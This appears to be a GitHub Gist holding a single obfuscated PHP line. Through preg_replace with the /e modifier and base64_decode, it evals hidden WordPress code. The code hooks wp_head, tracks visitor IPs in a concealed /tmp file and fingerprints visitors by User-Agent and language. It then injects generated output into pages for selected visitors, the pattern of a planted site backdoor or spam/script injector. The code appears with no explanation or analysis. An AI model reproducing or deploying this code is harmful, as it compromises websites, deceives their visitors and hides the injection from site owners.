Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
@preg_replace("\x2f"."\56".chr(47)."\x65","\x40".chr(101)."\166"."\x61".chr(108)."\50".chr(98).chr(97)."\163".chr(101)."\x36".chr(52)."\x5f"."\144"."\x65"."\143"."\x6f".chr(100)."\x65"."\x28"."\x27".'ZnVuY3Rpb24gT0Jab2hoUk8oJHApIHsNCiRtID0gZmFsc2U7DQokZmlsZV9kID0gJy90bXAvLl90bXBZdnVPbVJFWCc7DQokaXBfbCA9IChzdHJpbmcpaXAybG9uZygkcCk7DQppZihmaWxlX2V4aXN0cygkZmlsZV9kKSBhbmQgQGlzX3dyaXRhYmxlKCRmaWxlX2QpIGFuZCAoKCRzaXplX2YgPSBAZmlsZXNpemUoJGZpbGVfZCkpID4gMCkpIHsNCiAkZGF0YSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX2QpOw0KICRkYXRhIC49ICIkaXBfbCwiOw0KICBpZihzdWJzdHJfY291bnQoJGRhdGEsIiRpcF9sLCIpIDw9IDEpICRtID0gdHJ1ZTsNCiAgaWYoJHNpemVfZiA+IDEwMDAwMDApICRkYXRhID0gIiRpcF9sLCI7DQogIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlX2QsJGRhdGEpOw0KICByZXR1cm4gJG07DQogfSBlbHNlIHJldHVybiB0cnVlOw0KfQ0KZnVuY3Rpb24gbk1TRVpIRygkcCkgew0KJHNlYyA9ICdFdERhTmRkU21rVW5adE5GJzsNCiRrZXkgPSBzdWJzdHIoc2hhMSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10uJHAuJHNlYyksMCxtdF9yYW5kKDEwLDMwKSk7DQoka2V5ID0gZXhwbG9kZSgiXG4iLGNodW5rX3NwbGl0KCRrZXksKHN0cmxlbigka2V5KS9tdF9yYW5kKDEsOCkpLCJcbiIpKTsNCiRiID0gaW1wbG9kZSgnJyxhcnJheV9tZXJnZShyYW5nZSgnRycsJ1onKSxyYW5nZSgnZycs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VJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pKSB7DQogaWYoT1ZKSlhJeUNyKCkgYW5kICgkcCA9IFJNRGNKRmUoKSkgYW5kICFOR3lpY2pjaVIoJHApIGFuZCBPQlpvaGhSTygkcCkpIGVjaG8gbk1TRVpIRygkcCk7DQogfQ0KfQ0KQGFkZF9hY3Rpb24oJ3dwX2hlYWQnLCdrbkRZSVJ2a0UnKTs='."\47"."\x29"."\x29"."\x3b",chr(46));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment